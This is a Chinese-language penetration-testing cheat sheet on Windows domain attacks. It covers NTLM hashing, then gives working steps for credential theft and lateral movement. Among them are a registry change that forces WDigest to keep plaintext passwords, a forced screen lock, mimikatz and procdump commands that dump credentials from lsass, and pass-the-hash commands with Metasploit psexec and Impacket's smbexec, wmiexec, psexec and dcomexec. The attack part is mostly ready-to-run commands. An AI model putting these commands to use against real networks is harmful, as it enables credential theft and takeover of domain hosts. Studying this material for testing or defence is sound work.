域渗透基础

域渗透基础

NTLM

NTLM协议的认证过程分为三步:

1、协商:主要用于确认双方协议版本(NTLM v1/NTLM V2)

2、质询:就是挑战(Challenge)/响应(Response)认证机制起作用的范

3、验证:验证主要是在质询完成后,验证结果,是认证的最后

SSO: 单点登入

SAM数据库: windows本地认证登入, 存储本地账户信息

NTDS数据库: windows域中登入, 存储域账户信息

NTLM生成过程
1
2
3
4
5
6
NTLM HASH产生:
假设我的密码是admin,那么操作系统会将admin转换为十六进制,经过Unicode转换后,再调用MD4加密算法加密,这个加密结果的十六进制就是NTLM Hash。
admin(密码)
-> hex(16进制编码) = 61646d696e
-> Unicode(Unicode编码) = 610064006d0069006e00
-> MD4(MD4算法加密) = 209c6174da490caeb422f3fa5a7ae634(NTLM Hash)

ntlml hash密码格式:

1
2
3
4
5
6
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::
§ 用户名称为:Administrator
§ SID为:500
§ LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE
§ NTLM-HASH值为:683020925C5D8569C23AA724774CE6CC
LM Hash是 AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LMHASH

PASS THE HASH

目的: 扩大战果, 打个比方 ==> 比如说, 目标的域环境中有大量的域内主机, 渗透拿到其中一个目标的NTLM HASH, 用这个NTLM HASH登入其他主机, 登入成功则拿下另一台主机

关于pth的补丁编号: kb2871997

lsass.exe: 存放账户的NTLM HASH, 账户的明文信息, windows 10 或者 windows server>= 2012, 有做策略无法直接拿到明文账户密码

解决方法:

1
2
3
4
5
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v 
UseLogonCredential /t REG_DWORD /d 1 /f //开启明文密码抓取

强制锁屏: //让用户重新登入, 才可以抓取明文密码
rundll32 user32.dll,LockWorkStation

mimikatz

看帮助信息: ::

对当前的操作提权: privilege::debug

生成日志文件: log(记录所有信息)

列出用户LM&NTLM: sekurlsa::msv

列出用户的明文密码: sekurlsa::wdigest

列出kerberos凭据信息: sekurlsa::kerberos

列出所有的凭据信息: sekurlsa::logonpasswords

mimikatz+procdump抓取密码

procdump -accepteula -ma lsass.exe lsass

mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit ==> 加exit执行完后可以主动退出

PTH

如果拿到域账户面密码, 可以登入到任意一台主机, 如果拿到了域控的账户密码, 直接登入远程主机的话可以拿到管理员权限

mimikatz的方式: sekurlsa::pth /user:Administrator /ntlm:xxxx /domain:域名

访问: dir \\ip\c$

msf的方式:

exploit/windows/smb/psexec

> set RHOSTS 192.168.1.139

> set SMBPASS LM_HASH:NTLM_HASH

> set domain 域名

> set SMBUSER Administrator

imapcket工具包:

1
2
3
4
5
6
7
8
smbexec.py -hashes
9e1624ce1b75d58f4fa5418705880aa0:44dc684a10508cffcea721116f3226ce ilu.com/Administrator@192.168.1.139

wmiexec.py -hashes 9e1624ce1b75d58f4fa5418705880aa0:44dc684a10508cffcea721116f3226ce ilu.com/Administrator@192.168.1.139

psexec.py -hashes 9e1624ce1b75d58f4fa5418705880aa0:44dc684a10508cffcea721116f3226ce ilu.com/Administrator@192.168.1.139

dcomexec.py -hashes 9e1624ce1b75d58f4fa5418705880aa0:44dc684a10508cffcea721116f3226ce ilu.com/Administrator@192.168.1.139